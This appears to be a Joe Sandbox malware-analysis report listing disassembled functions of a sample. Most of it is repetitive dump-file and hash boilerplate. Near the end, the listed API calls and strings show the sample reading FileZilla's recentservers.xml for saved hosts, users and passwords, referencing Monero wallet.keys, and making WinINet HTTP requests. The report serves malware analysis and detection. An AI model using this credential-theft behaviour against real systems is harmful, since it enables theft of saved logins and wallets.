Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +#-$E=_;
API String ID: 0-3180536403
Opcode ID: 7e52ad91c6bb3b4442ca197874440d827afddd21105add7404834e004ff57ae8
Instruction ID: a762ce548e9cbda1963896a7e8d73e67fbc9b36c22f761833f1049d8bddf75a2
Opcode Fuzzy Hash: 7e52ad91c6bb3b4442ca197874440d827afddd21105add7404834e004ff57ae8
Instruction Fuzzy Hash: E1B218F360C2009FE7046E2DEC8567ABBE9EF94720F1A4A3DE6C4C7744E63598058657

Function 00908BEA Relevance: 2.7, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

g?|, xrefs: 00908C80
k?e#, xrefs: 00908C6A

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: g?|$k?e#
API String ID: 0-1641547115
Opcode ID: 2d5b9edfb0e264116dd141f8c52eca0339009050721b31ec7b4fc88b376bec24
Instruction ID: 283155604507ae2f87f49bd674233464a40955f870903a82ef3bf38d4ff76251
Opcode Fuzzy Hash: 2d5b9edfb0e264116dd141f8c52eca0339009050721b31ec7b4fc88b376bec24
Instruction Fuzzy Hash: B74139B3A0C7049BF314A92DEC89766B7D6DBD4320F2A463DDA84D7785E93998018285

Function 0096DE1D Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

m4m_, xrefs: 0096E012

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: m4m_
API String ID: 0-3773686785
Opcode ID: 77cc00f4e3746892e48f5e9c19b257ee646f6ee03d06e4c04ae1f3198f6dc35f
Instruction ID: 69207bcb4b068ca3b9e4d40ba60b8e4bc6513ac5ef1836d0468e5e48b38c83a5
Opcode Fuzzy Hash: 77cc00f4e3746892e48f5e9c19b257ee646f6ee03d06e4c04ae1f3198f6dc35f
Instruction Fuzzy Hash: 627126F3A186045FF3086E2CEC5177AB7DADB94320F1A453DEA89D3784E9795C0482D6

Function 0090F027 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

`ww^, xrefs: 0090F142

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `ww^
API String ID: 0-2809251080
Opcode ID: c4fc57ac6d9f6b91b2f036d4214b5ad06a947ecfbd3a299f3fe569ee72faf5a6
Instruction ID: 5ac6fa3c156ca10a1c6f09aa256498ed2b8b57fe824e776ad9a9bd47f6005640
Opcode Fuzzy Hash: c4fc57ac6d9f6b91b2f036d4214b5ad06a947ecfbd3a299f3fe569ee72faf5a6
Instruction Fuzzy Hash: A57106B39087149BE3046E39DC8576AF7E6EFD4720F16893DE6C4C3744E63958418B82

Function 008BC434 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

H;mW, xrefs: 008BC4EF

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: H;mW
API String ID: 0-1921414146
Opcode ID: 1312c2b73b59656d244ae6b2e2caa062affd68056e48a697fa8af36abcb6c1a7
Instruction ID: afe98c0b2a67ae5b8fec00629a2e1f609429a1e7f043acb9993ca012fbe96615
Opcode Fuzzy Hash: 1312c2b73b59656d244ae6b2e2caa062affd68056e48a697fa8af36abcb6c1a7
Instruction Fuzzy Hash: B4615AF3A182105FF708593CEC9A77A76D5EB44324F1A0A3EEAC5D77C4E9698C018296

Function 008FDC30 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

yvmo, xrefs: 008FDDF7

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: yvmo
API String ID: 0-1783713227
Opcode ID: dd78634ffdbbdb39a4770288781015f5f9f88d9bdff10ddf79e185384a48bd35
Instruction ID: 4e7ea9f03ce68837f6ae13afe44aeb420f47962d12898114b8d3974110f8bcc1
Opcode Fuzzy Hash: dd78634ffdbbdb39a4770288781015f5f9f88d9bdff10ddf79e185384a48bd35
Instruction Fuzzy Hash: 6F515BF7E482141BF304A97EDC84726B6CB9BE4720F2EC239EA54D7758F87958064192

Function 008F8DF4 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 663374ba5146c596184b9f4386b24de0c608d656e0818d59b795f71dcd521ff1
Instruction ID: 5df6265a7e6bfa0dc9a8ba134e53dfa3b3539d067304c45f69d6cc43c5b29c7a
Opcode Fuzzy Hash: 663374ba5146c596184b9f4386b24de0c608d656e0818d59b795f71dcd521ff1
Instruction Fuzzy Hash: 645126F39196145FF3049A28DD8477AB6DADBD4320F2A8A3DE6D4C7784E93C48058686

Function 008C1EA6 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2dd2e583364ecbd91e603f50dc84e533a1bc2025dfe59ba6a22380052e75352
Instruction ID: 59493a7b6b594f005ecc7d66e1c8362f99fe4e35319247b2ff85e5248714abe5
Opcode Fuzzy Hash: f2dd2e583364ecbd91e603f50dc84e533a1bc2025dfe59ba6a22380052e75352
Instruction Fuzzy Hash: 325139B3A593149BE310797CDC847BBFBD5EB94320F2B853DDAC493780E93958054296

Function 00A13A09 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dfd64b263b067bb3243fac03051cbaf83bf6dbd0c2170333187094f257c08da
Instruction ID: 63604d5a6e868c39eea3f98e7eaca8b517494e06c8b5342b35e361a9a379cc6a
Opcode Fuzzy Hash: 6dfd64b263b067bb3243fac03051cbaf83bf6dbd0c2170333187094f257c08da
Instruction Fuzzy Hash: 8B3103B240C704DFE311BF2AD8856AAFBE5FF98310F12892DDAE583614D674A444CB97

Function 005D9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 005D0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005D8E0B

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005C99EC
Part of subcall function 005C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005C9A11
Part of subcall function 005C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005C9A31
Part of subcall function 005C99C0: ReadFile.KERNEL32(000000FF,?,00000000,005C148F,00000000), ref: 005C9A5A
Part of subcall function 005C99C0: LocalFree.KERNEL32(005C148F), ref: 005C9A90
Part of subcall function 005C99C0: CloseHandle.KERNEL32(000000FF), ref: 005C9A9A

Part of subcall function 005D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005D8E52

GetProcessHeap.KERNEL32(00000000,000F423F,005E0DBA,005E0DB7,005E0DB6,005E0DB3), ref: 005D0362
RtlAllocateHeap.NTDLL(00000000), ref: 005D0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 005D0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005D03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 005D0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 005D0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 005D0562
lstrcat.KERNEL32(?,profile: null), ref: 005D0571
lstrcat.KERNEL32(?,url: ), ref: 005D0580
lstrcat.KERNEL32(?,00000000), ref: 005D0593
lstrcat.KERNEL32(?,005E1678), ref: 005D05A2
lstrcat.KERNEL32(?,00000000), ref: 005D05B5
lstrcat.KERNEL32(?,005E167C), ref: 005D05C4
lstrcat.KERNEL32(?,login: ), ref: 005D05D3
lstrcat.KERNEL32(?,00000000), ref: 005D05E6
lstrcat.KERNEL32(?,005E1688), ref: 005D05F5
lstrcat.KERNEL32(?,password: ), ref: 005D0604
lstrcat.KERNEL32(?,00000000), ref: 005D0617
lstrcat.KERNEL32(?,005E1698), ref: 005D0626
lstrcat.KERNEL32(?,005E169C), ref: 005D0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005E0DB2), ref: 005D068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005D02A4
profile: null, xrefs: 005D0568
<Host>, xrefs: 005D037C
<Port>, xrefs: 005D03C6
url: , xrefs: 005D0577
<Pass encoding="base64">, xrefs: 005D045A
<User>, xrefs: 005D0410
password: , xrefs: 005D05FB
browser: FileZilla, xrefs: 005D0559
login: , xrefs: 005D05CA

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 9f1cefd74fa062898847578ffc1889e626c1d3359842ec91676a6f574f0a2e2a
Instruction ID: a0b8175252deeac3b991fdd994f52b5a444cc5ef691e1741ef7c84d8459f8a4c
Opcode Fuzzy Hash: 9f1cefd74fa062898847578ffc1889e626c1d3359842ec91676a6f574f0a2e2a
Instruction Fuzzy Hash: 8FD188719002499BCB18FBF8CD8AEEE7B38FF54300F40851AF502A6291DF74AA45DB65

Function 005C5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005C4839
Part of subcall function 005C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005C4849

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005C59F8
StrCmpCA.SHLWAPI(?,014B0DB0), ref: 005C5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005C5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,014B0E50,00000000,?,014AF840,00000000,?,005E1A1C), ref: 005C5E71
lstrlen.KERNEL32(00000000), ref: 005C5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 005C5E93
RtlAllocateHeap.NTDLL(00000000), ref: 005C5E9A
lstrlen.KERNEL32(00000000), ref: 005C5EAF
lstrlen.KERNEL32(00000000), ref: 005C5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005C5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 005C5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005C5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 005C5F4C
InternetCloseHandle.WININET(00000000), ref: 005C5FB0
InternetCloseHandle.WININET(00000000), ref: 005C5FBD
HttpOpenRequestA.WININET(00000000,014B0D10,?,014B0588,00000000,00000000,00400100,00000000), ref: 005C5BF8

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
